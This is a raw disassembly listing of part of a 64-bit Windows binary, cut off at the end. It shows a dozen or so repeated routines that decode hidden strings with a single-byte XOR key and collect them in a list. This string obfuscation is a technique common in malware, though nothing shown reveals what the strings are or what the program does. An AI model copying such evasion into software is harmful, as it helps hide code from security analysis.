xorps xmm1, xmm1
movdqa xmmword [rsp + 0xc0], xmm1
lea rax, [rsp + 0x321]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140054964
lea rdx, ds:[rsp + 0x321]
lea rcx, [rsp + 0xb0]
call fcn.1400074e0
nop
mov rcx, qword [rsp + 0x3a8]
cmp rcx, qword [rsp + 0x3b0]
je 0x1400549b0
lea rdx, [rsp + 0x90]
call fcn.14006aa00
add qword [rsp + 0x3a8], 0x40
jmp 0x1400549c9
lea r8, [rsp + 0x90]
mov rdx, rcx
lea rcx, [rsp + 0x3a0]
call fcn.140067e60
nop
lea rcx, [rsp + 0x90]
call fcn.140017c80
lea rdx, ds:[rsp + 0x90]
call fcn.140058490
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400584e0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, [r8 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r10], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
lea r8, [r8 + 0x16]
lea rax, [r8 + r10]
cmp rax, 0x58
jb 0x140054a90
mov byte [r11 + 0x58], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, ds:[rsp + 0x90]
call fcn.140058590
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400585e0
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
lea rdx, ds:[r8 + r10]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r8 + r10]
cmp rax, 0x57
jb 0x140054c42
mov byte ds:[r9 + 0x58], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, [rsp + 0x90]
call fcn.140058690
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400586e0
mov r8, r15
lea rdx, [rax + 1]
nop dword [rax]
movzx ecx, byte [rax]
xor byte [r8 + rdx], cl
movzx ecx, byte [rax]
xor byte [r8 + rax + 2], cl
add r8, 2
cmp r8, 0x56
jb 0x140054e30
mov byte [rdx + 0x56], 0
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, [rsp + 0x90]
call fcn.140058780
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400587d0
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax + rax]
lea rdx, [r10 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x57
jb 0x140054f30
mov byte ds:[r9 + 0x58], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, [rsp + 0x90]
call fcn.140058880
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400588d0
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, ds:[r10 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
lea r8, [r8 + 0x16]
lea rax, [r10 + r8]
cmp rax, 0x58
jb 0x140055120
mov byte ds:[r9 + 0x59], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, [rsp + 0x90]
call fcn.140058980
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.1400589d0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x57
jb 0x1400552e0
mov byte [r11 + 0x57], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, ds:[rsp + 0x90]
call fcn.140058a80
lea r8, ds:[rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
mov byte [r8 + 0x21], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.140058ad0
mov r8, r15
lea rdx, [rax + 1]
nop word [rax + rax]
movzx ecx, byte [rax]
xor byte [r8 + rdx], cl
movzx ecx, byte [rax]
xor byte [r8 + rax + 2], cl
add r8, 2
cmp r8, 0x56
jb 0x1400554c0
mov byte [rdx + 0x56], 0
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, ds:[rsp + 0x90]
call fcn.140058b70
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
xor byte [rax + 0x23], dl
mov byte [r8 + 0x23], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.140058bc0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop dword [rax]
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
lea r8, [r8 + 0x16]
lea rax, [r10 + r8]
cmp rax, 0x58
jb 0x1400555d0
mov byte [r11 + 0x58], 0
mov rdx, r11
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, ds:[rsp + 0x90]
call fcn.140058c70
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
xor byte [rax + 0x21], dl
xor byte [rax + 0x22], dl
mov byte [r8 + 0x22], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.140058cc0
mov r9, rax
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
lea rdx, ds:[r10 + r8]
movzx ecx, byte [r9]
xor byte [rdx + r9 + 1], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
movzx eax, byte [r9]
xor byte [r8 + 0x17], al
movzx eax, byte [r9]
xor byte [r8 + 0x18], al
movzx eax, byte [r9]
xor byte [r8 + 0x19], al
movzx eax, byte [r9]
xor byte [r8 + 0x1a], al
lea r8, [r8 + 0x1d]
lea rax, [r10 + r8]
cmp rax, 0x57
jb 0x140055782
mov byte ds:[r9 + 0x58], 0
lea rdx, [r9 + 1]
lea rcx, [rsp + 0x340]
call fcn.1400074a0
nop
lea rdx, [rsp + 0x320]
lea rcx, [rsp + 0x3a0]
call fcn.1400608f0
nop
lea rcx, [rsp + 0x320]
call fcn.140017c80
lea rdx, [rsp + 0x90]
call fcn.140058d70
lea r8, [rax + 1]
movzx edx, byte [rax]
xor byte [r8], dl
xor byte [rax + 2], dl
xor byte [rax + 3], dl
xor byte [rax + 4], dl
xor byte [rax + 5], dl
xor byte [rax + 6], dl
xor byte [rax + 7], dl
xor byte [rax + 8], dl
xor byte [rax + 9], dl
xor byte [rax + 0xa], dl
xor byte [rax + 0xb], dl
xor byte [rax + 0xc], dl
xor byte [rax + 0xd], dl
xor byte [rax + 0xe], dl
xor byte [rax + 0xf], dl
xor byte [rax + 0x10], dl
xor byte [rax + 0x11], dl
xor byte [rax + 0x12], dl
xor byte [rax + 0x13], dl
xor byte [rax + 0x14], dl
xor byte [rax + 0x15], dl
xor byte [rax + 0x16], dl
xor byte [rax + 0x17], dl
xor byte [rax + 0x18], dl
xor byte [rax + 0x19], dl
xor byte [rax + 0x1a], dl
xor byte [rax + 0x1b], dl
xor byte [rax + 0x1c], dl
xor byte [rax + 0x1d], dl
xor byte [rax + 0x1e], dl
xor byte [rax + 0x1f], dl
xor byte [rax + 0x20], dl
mov byte [r8 + 0x20], 0
mov rdx, r13
lea rcx, [rsp + 0x320]
call fcn.140024e30
nop
lea rdx, [rsp + 0x110]
call fcn.140058dc0
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, rbx
sub r10, rax
nop word [rax + rax]
lea rdx, [r10 + r11]
movzx ecx, byte [r9]
xor byte [rdx + r8], cl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
lea r8, [r8 + 0x11]
lea rax, [r10 + r8]
cmp rax, 0x55
